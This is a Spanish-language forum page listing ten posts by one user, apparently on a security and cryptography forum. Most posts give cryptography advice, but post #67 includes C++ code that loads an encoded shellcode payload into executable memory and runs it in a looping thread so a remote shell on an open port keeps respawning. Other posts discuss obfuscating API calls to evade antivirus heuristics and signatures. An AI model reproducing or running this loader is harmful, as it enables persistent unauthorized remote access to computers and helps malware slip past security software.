Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - APOKLIPTICO

#61
Evade heurística, pero dudo que evada emulación...
#62
Bueno, es un algoritmo de cifrado que utiliza un keystream basado en un generador pseudoaleatorio, pero cuál estás utilizando?? Si usas el que viene con la librería del lenguaje de programacion, te voy diciendo que no es seguro, ya que sería vulnerable a un ataque known-plaintext. O simplemente si hubiese alguna manera de conseguir el keystream, se podría conseguir una clave equivalente cuya complejidad sería de 2^32 (un seed DWORD).

Saludos
APOKLIPTICO.
#63
Podés empezar con el taller de criptografía asimétrica. Después tenés también muchos temas en el foro.
Cualquier pregunta se libre de hacerla :)
Saludos
APOKLIPTICO.
#64
Siendo que son cadenas de 16 bytes (128 bits) de longitud estáticas, estoy pensando que deben ser hashes md5.
#65
Tenés mucho material en el foro.
Te diría que empieces por los métodos antiguos de cifrado y luego avances a los métodos actuales, en los actuales tenés la cripto simétrica, asimétrica los hashes y la esteganografía.

Cualquier cosa estamos para ayudar.
Pero buscá en el foro que hay mucho material.
Saludos
APOKLIPTICO.
#66
Podés utilizar las API de windows _beginthread y _beginthreadex (include process.h).
#67
Cambié el código, esta vez el payload utiliza un SEH (structured exception handler) para terminar, pero el problema es que cuando cierro la shell, crashea el programa.
Código (cpp) [Seleccionar]
#include <process.h>
#include <iostream>
using namespace std;
void SpawnShell(void *dummy);
char szPayload[] =
"\xba\x10\x4c\x14\x4c\xda\xc7\xd9\x74\x24"
"\xf4\x58\x31\xc9\xb1\x56\x31\x50\x13\x83"
"\xc0\x04\x03\x50\x1f\xae\xe1\xb0\xf7\xa7"
"\x0a\x49\x07\xd8\x83\xac\x36\xca\xf0\xa5"
"\x6a\xda\x73\xeb\x86\x91\xd6\x18\x1d\xd7"
"\xfe\x2f\x96\x52\xd9\x1e\x27\x53\xe5\xcd"
"\xeb\xf5\x99\x0f\x3f\xd6\xa0\xdf\x32\x17"
"\xe4\x02\xbc\x45\xbd\x49\x6e\x7a\xca\x0c"
"\xb2\x7b\x1c\x1b\x8a\x03\x19\xdc\x7e\xbe"
"\x20\x0d\x2e\xb5\x6b\xb5\x45\x91\x4b\xc4"
"\x8a\xc1\xb0\x8f\xa7\x32\x42\x0e\x61\x0b"
"\xab\x20\x4d\xc0\x92\x8c\x40\x18\xd2\x2b"
"\xba\x6f\x28\x48\x47\x68\xeb\x32\x93\xfd"
"\xee\x95\x50\xa5\xca\x24\xb5\x30\x98\x2b"
"\x72\x36\xc6\x2f\x85\x9b\x7c\x4b\x0e\x1a"
"\x53\xdd\x54\x39\x77\x85\x0f\x20\x2e\x63"
"\xfe\x5d\x30\xcb\x5f\xf8\x3a\xfe\xb4\x7a"
"\x61\x97\x79\xb1\x9a\x67\x15\xc2\xe9\x55"
"\xba\x78\x66\xd6\x33\xa7\x71\x19\x6e\x1f"
"\xed\xe4\x90\x60\x27\x23\xc4\x30\x5f\x82"
"\x64\xdb\x9f\x2b\xb1\x4c\xf0\x83\x69\x2d"
"\xa0\x63\xd9\xc5\xaa\x6b\x06\xf5\xd4\xa1"
"\x31\x31\x1b\x91\x12\xd6\x5e\x25\x85\x7a"
"\xd6\xc3\xcf\x92\xbe\x5c\x67\x51\xe5\x54"
"\x10\xaa\xcf\xc8\x89\x3c\x47\x07\x0d\x42"
"\x58\x0d\x3e\xef\xf0\xc6\xb4\xe3\xc4\xf7"
"\xcb\x29\x6d\x71\xf4\xba\xe7\xef\xb7\x5b"
"\xf7\x25\x2f\xff\x6a\xa2\xaf\x76\x97\x7d"
"\xf8\xdf\x69\x74\x6c\xf2\xd0\x2e\x92\x0f"
"\x84\x09\x16\xd4\x75\x97\x97\x99\xc2\xb3"
"\x87\x67\xca\xff\xf3\x37\x9d\xa9\xad\xf1"
"\x77\x18\x07\xa8\x24\xf2\xcf\x2d\x07\xc5"
"\x89\x31\x42\xb3\x75\x83\x3b\x82\x8a\x2c"
"\xac\x02\xf3\x50\x4c\xec\x2e\xd1\x72\x1c"
"\xe2\xcc\xe3\x87\x97\xac\x69\x38\x42\xf2"
"\x97\xbb\x66\x8b\x63\xa3\x03\x8e\x28\x63"
"\xf8\xe2\x21\x06\xfe\x51\x41\x03";
int main()
{
    _beginthread(SpawnShell, 0, 0);
    while(true); //Para que no se termine el programa.
    return 0;
}

void SpawnShell(void *dummy)
{
    void *vPayload = VirtualAlloc(0, sizeof(szPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(vPayload, szPayload, sizeof(szPayload)-2);
    do
    {
        cout << "Started" << endl;
        try
        {
            ((void(*)())vPayload)();
        }
        catch(DWORD dwOut){cout << dwOut << endl;}
    }while(true);
}
#68
La idea de obfuscar las llamadas a las API es para que no se pueda rápidamente saber qué APIs están siendo cargadas. Es para evitar heurística y firmas.
#69
A ver, vos pusiste el exitprocess en la función main, tu código hace exáctamente lo mismo que mi código. El shellcode se supone que tiene una llamada a exitthread, de esta manera, cuando se cierra la conexión, se cierra el thread y el programa lo vuelve a iniciar. Necesito eso yo, y necesito que si yo después de llamar a la función SpawnShell quiero hacer otra cosa, esas cosas se ejecuten mientras la shell está abierta.
#70
Nono, la shellcode se ejecuta en un thread aparte, de esta manera puedo seguir la ejecución del programa mientras está abierto el puerto. El problema es que no cierra el thread cuando se cierra la conexión.